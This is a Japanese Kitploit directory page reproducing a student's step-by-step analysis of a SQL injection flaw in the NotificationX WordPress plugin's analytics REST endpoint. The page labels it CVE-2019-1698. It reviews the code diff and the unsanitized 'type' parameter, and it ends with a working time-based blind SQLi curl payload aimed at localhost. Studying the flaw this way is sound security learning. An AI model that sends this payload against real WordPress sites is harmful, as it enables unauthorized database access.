Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-1698 — CVE-2019-1698のステップバイステップの技術分析。WordPressプラグインのSQLインジェクション脆弱性について、コード差分レビュー、脆弱な関数の特定、curlを使用した悪用デモを含む。 | Kitploit
ツール/GitHubGitHub/raytran54/cve-2019-1698
脆弱性分析コード分析ウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubraytran54/cve-2019-1698

CVE-2019-1698

CVE-2019-1698のステップバイステップの技術分析。WordPressプラグインのSQLインジェクション脆弱性について、コード差分レビュー、脆弱な関数の特定、curlを使用した悪用デモを含む。

リポジトリを見る
42年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

TRAN CONG DANH - SVTT - メンター: LUU VAN LAN - CVE-2019-1698 - 開始日: 30/07/2024

  • 脆弱性のあるバージョンと修正済みバージョンのコード差分を確認する:

コード参照 1: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php image

コード参照 2: https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php image

したがって、このCVEに関連するファイルは次のとおりです:

root@kitploit:~
wp-content/plugins/notificationx/includes/Core/Rest/Analytics.php

次に、脆弱性コードが含まれる可能性のあるファイルを確認します: image insert_analytics() 関数に注目してください: image この関数は (ユーザーからの) $request を受け取り、 パラメータを抽出します。

type

その後、この値は CoreAnalytics::get_instance()->insert_analytics() 関数に渡されます: image

このコードをトリガーするには、マップされたルート (Analytics クラスの register_routes() 関数内) を確認します:

root@kitploit:~
$this->namespace . '/' . $this->rest_base

また、Analytics クラスのコンストラクタは、namespace 変数と rest_base 変数の値を示しています:

root@kitploit:~
public function __construct() {
	$this->namespace = 'notificationx/v1';
	$this->rest_base = 'analytics';
	add_action('rest_api_init', [$this, 'register_routes']);
}

したがって、ユーザーが指定した type パラメータを受け取る関連 (脆弱な) コードには、次のルート経由で到達できます:

root@kitploit:~
notificationx/v1/analytics

では、悪用方法は何で、SQLインジェクションのクエリはどこにあるのでしょうか?

ユーザーが指定した type パラメータは次の場所に渡されるため:

root@kitploit:~
CoreAnalytics::get_instance()->insert_analytics( absint( $params['nx_id'] ), $type );

この関数を特定します:

image 強調表示されたファイル内のこの関数コードを確認しましょう:

wp-content/plugins/notificationx/includes/Core/Analytics.php: image

もし脆弱性が increment_count() 関数にあると考えているなら、まさにその通りです!

increment_count 関数は次のとおりです (この関数はユーザーからの $type パラメータを持ちます): image

この関数はさらに update_analytics() 関数を呼び出します。それを見てみましょう: image

image

update_analytics 関数はSQLクエリを動的に作成し、サニタイズされていないユーザー入力がその一部になっています。怪しいと思いませんか? それもそのはず、これが脆弱性の原因だからです。

$col パラメータは、HTTPリクエストでユーザーが送信した type パラメータに対応します。

$table_name は nx_stats に設定されます:

root@kitploit:~
public function __construct() {
	global $wpdb;
	$this->wpdb          = $wpdb;
	self::$table_entries = $wpdb->prefix . 'nx_entries';
	self::$table_posts   = $wpdb->prefix . 'nx_posts';
	self::$table_stats   = $wpdb->prefix . 'nx_stats';
}

正しいHTTP動詞を特定するために、WordPress REST APIを利用しました:

root@kitploit:~
http://localhost/wp-json/

image

/notificationx/v1/analytics APIルートは POST リクエストでトリガーでき、nx_id (整数) と (任意で) type (文字列) を渡す必要があります。

先ほど wp-content/plugins/notificationx/includes/Core/Database.php のコードスニペットから推定したように、アナリティクス情報は nx_stats という名前のテーブルで更新されていたことを思い出してください:

root@kitploit:~
public function __construct() {
	global $wpdb;
	$this->wpdb          = $wpdb;
	self::$table_entries = $wpdb->prefix . 'nx_entries';
	self::$table_posts   = $wpdb->prefix . 'nx_posts';
	self::$table_stats   = $wpdb->prefix . 'nx_stats';
}
root@kitploit:~
$table_name = self::$table_stats;

image

脆弱なコードパスのトリガー

私たちの計画は、リクエストにペイロードを渡したときに構築されるSQLクエリを確認することです。

それでは、curl (SQLiペイロード付き) リクエストを再度送信します:

root@kitploit:~
time curl http://localhost:8080/wp-json/notificationx/v1/analytics -d 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'

image

ツールをダウンロード